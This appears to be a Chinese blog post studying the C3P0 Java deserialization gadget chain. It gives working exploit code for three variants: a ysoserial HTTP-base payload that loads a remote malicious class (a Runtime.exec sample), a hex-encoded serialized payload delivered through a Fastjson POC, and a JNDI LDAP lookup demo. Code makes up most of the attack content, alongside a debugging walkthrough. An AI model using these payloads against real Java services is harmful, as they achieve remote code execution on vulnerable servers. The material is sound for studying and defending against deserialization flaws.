C3P0反序列化链学习

依赖包

需要先导入依赖包

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.example</groupId>
<artifactId>C3P0</artifactId>
<version>1.0-SNAPSHOT</version>
</dependency>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>mchange-commons-java</artifactId>
<version>0.2.11</version>
</dependency>

依赖包的查看ysoserial可以发现,需要用到的依赖包

C3P0的利用方式

现在有三种利用方式:

  • http base
  • JNDI
  • Hex序列化字节加载器

在原生的反序列化中,如果找不到其他的链,则可以尝试C3P去加载远程执行的类进行命令执行。JNDI则适用于jackSon等利用,而Hex 序列化字节加载器的方式可以利用与fastjson或者JackSon等不出网的情况下进行利用。

HTTP Base

ysoserial作为lib包导入,做以下payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import ysoserial.Serializer;
import ysoserial.payloads.C3P0;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;

public class Test1 {
public static void main ( final String[] args ) throws Exception {
// PayloadRunner.run(C3P0.class, args);
C3P0 c3P0 = new C3P0();
Object object = c3P0.getObject("http://127.0.0.1:8000/:test");
byte[] serialize = Serializer.serialize(object);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
}

}

注意类名不要直接命名为Test或者test,否则payload会直接无法执行

同时需要在公网服务器下放置一个恶意的类:test

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;

public class calc {
static{
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}

接下来进行一个调试,在C3P0.getObject()处打上一个断点开始调试:

其中的定义是这样的:

command使用lastIndexOf获取ASCLL码为58的字符

正好,ASCLL码58为冒号::

之后获得className,远程加载的恶意类为test

之后通过反射创建了一个PoolBackedDataSource对象,接着,又用反射设置PoolBackedDataSourceBase类中属性connectionPoolDataSourcePoolSource对象

1
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));

在实例化的时候,会自动进行赋值

之后进行序列化的时候,会调用com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject()方法,但是会抛出异常进入catch部分,原因是我们传入的this.connectionPoolDataSource,即PoolSource类是不可被序列化的。

因为PoolSource继承了final关键字段

之后继续往下走,会到了

他会调用传递的this.connectionPoolDataSourcegetReference方法来获取一个Reference,这就是我们为什么要重写这个方法。

往下走,将获得的reference放进去

Hex序列化字节加载器

这里其实就是常听到的就是用C3P0二次反序列化打Fastjson,因为像Fastjson和Jackson在反序列化时都会触发setter方法的执行,而C3P0中userOverridesAsString的setter会将HexAsciiSerializedMap开头的hex字符串进行解码再去触发Java原生的反序列化。

==当目标存在其他的依赖,如fastjson或者jackson等,而且不出网,则适合使用这个Gadget==

先生成序列化payload,这里的payload注意是需要本地的另一条Gadget比如CC或者CB链,这里以CC2为例

java -jar ysoserial.jar CommonsCollections2 "calc.exe" > test.ser

编写如下demo生成hex数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;

public class Test2 {
public static void main(String[] args) throws IOException {
InputStream in = new FileInputStream("src/main/resources/test.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);

for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}

sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}

得到如下:

当链是fastjson的时候, POC如下:

1
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}

效果如下:

JNDI

使用的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.fasterxml.jackson.databind.ObjectMapper;
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;

import java.beans.PropertyVetoException;
import java.io.IOException;
import java.sql.SQLException;

public class Test3 {
public static void main(String[] args) throws IOException, PropertyVetoException, SQLException {
JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();
exp.setJndiName("ldap://127.0.0.1:1389/test");
exp.setLoginTimeout(1);
}
}